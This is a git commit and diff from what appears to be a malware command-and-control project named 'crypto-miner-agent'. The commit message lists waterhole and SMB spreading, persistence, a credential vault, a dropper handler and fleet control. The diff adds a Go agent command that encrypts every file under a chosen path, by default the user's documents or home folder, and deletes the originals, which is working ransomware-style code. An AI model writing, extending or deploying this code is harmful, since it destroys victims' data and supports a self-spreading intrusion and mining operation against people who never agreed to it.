feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/client/crypt.go

@@ -0,0 +1,156 @@
+package client
+
+import (
+	"crypto/aes"
+	"crypto/cipher"
+	"crypto/rand"
+	"crypto/sha256"
+	"fmt"
+	"io"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"crypto-miner-agent/deploy"
+)
+
+const cryptPassword = "password"
+
+// deriveKey returns a 32-byte AES-256 key from the hardcoded password via SHA-256.
+func deriveKey(password string) []byte {
+	sum := sha256.Sum256([]byte(password))
+	return sum[:]
+}
+
+// encryptFile encrypts src with AES-256-GCM, writing src+".enc" and deleting the original.
+func encryptFile(path string, key []byte) error {
+	plaintext, err := os.ReadFile(path)
+	if err != nil {
+		return err
+	}
+
+	block, err := aes.NewCipher(key)
+	if err != nil {
+		return err
+	}
+	gcm, err := cipher.NewGCM(block)
+	if err != nil {
+		return err
+	}
+
+	nonce := make([]byte, gcm.NonceSize())
+	if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
+		return err
+	}
+
+	ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
+
+	dst := path + ".enc"
+	if err := os.WriteFile(dst, ciphertext, 0600); err != nil {
+		return err
+	}
+
+	return os.Remove(path)
+}
+
+func parseRecursiveFlag(command, data string) bool {
+	for _, v := range []string{command, data} {
+		v = strings.TrimSpace(strings.ToLower(v))
+		if v == "recursive" || v == "1" || v == "true" || v == "yes" {
+			return true
+		}
+	}
+	return false
+}
+
+// EncryptPath AES-256-GCM encrypts files at targetPath (file or directory).
+// Empty targetPath uses the platform default documents/home folder.
+func EncryptPath(targetPath string, recursive bool) string {
+	resolved, err := resolveEncryptPath(targetPath)
+	if err != nil {
+		return "encrypt error: " + err.Error()
+	}
+
+	key := deriveKey(cryptPassword)
+	info, err := os.Stat(resolved)
+	if err != nil {
+		return "encrypt error: " + err.Error()
+	}
+
+	var encrypted, skipped, failed int
+	var errs []string
+
+	if !info.IsDir() {
+		if strings.HasSuffix(resolved, ".enc") {
+			return "encrypt skipped — already .enc"
+		}
+		if err := encryptFile(resolved, key); err != nil {
+			return fmt.Sprintf("encrypt failed: %v", err)
+		}
+		return fmt.Sprintf("encrypt done — encrypted: 1  path: %s", resolved)
+	}
+
+	walkFn := func(path string, d os.DirEntry, walkErr error) error {
+		if walkErr != nil || d.IsDir() {
+			return nil
+		}
+		if strings.HasSuffix(path, ".enc") {
+			skipped++
+			return nil
+		}
+		if err := encryptFile(path, key); err != nil {
+			failed++
+			if len(errs) < 5 {
+				errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
+			}
+			return nil
+		}
+		encrypted++
+		return nil
+	}
+
+	if recursive {
+		err = filepath.WalkDir(resolved, walkFn)
+	} else {
+		entries, readErr := os.ReadDir(resolved)
+		if readErr != nil {
+			return "encrypt error: " + readErr.Error()
+		}
+		for _, e := range entries {
+			if e.IsDir() {
+				continue
+			}
+			p := filepath.Join(resolved, e.Name())
+			_ = walkFn(p, e, nil)
+		}
+		err = nil
+	}
+	if err != nil {
+		return fmt.Sprintf("encrypt walk error: %v", err)
+	}
+
+	summary := fmt.Sprintf("encrypt done — encrypted: %d  skipped: %d  failed: %d  path: %s", encrypted, skipped, failed, resolved)
+	if len(errs) > 0 {
+		summary += "\nErrors: " + strings.Join(errs, "; ")
+	}
+	return summary
+}
+
+func resolveEncryptPath(targetPath string) (string, error) {
+	targetPath = strings.TrimSpace(targetPath)
+	if targetPath == "" {
+		def, err := defaultCryptDir()
+		if err != nil {
+			return "", err
+		}
+		targetPath = def
+	}
+	if containsPathTraversal(targetPath) {
+		return "", fmt.Errorf("path traversal (..) is not allowed")
+	}
+	resolved, err := deploy.ResolveRemotePath(targetPath)
+	if err != nil {
+		return "", err
+	}
+	return filepath.Clean(resolved), nil
+}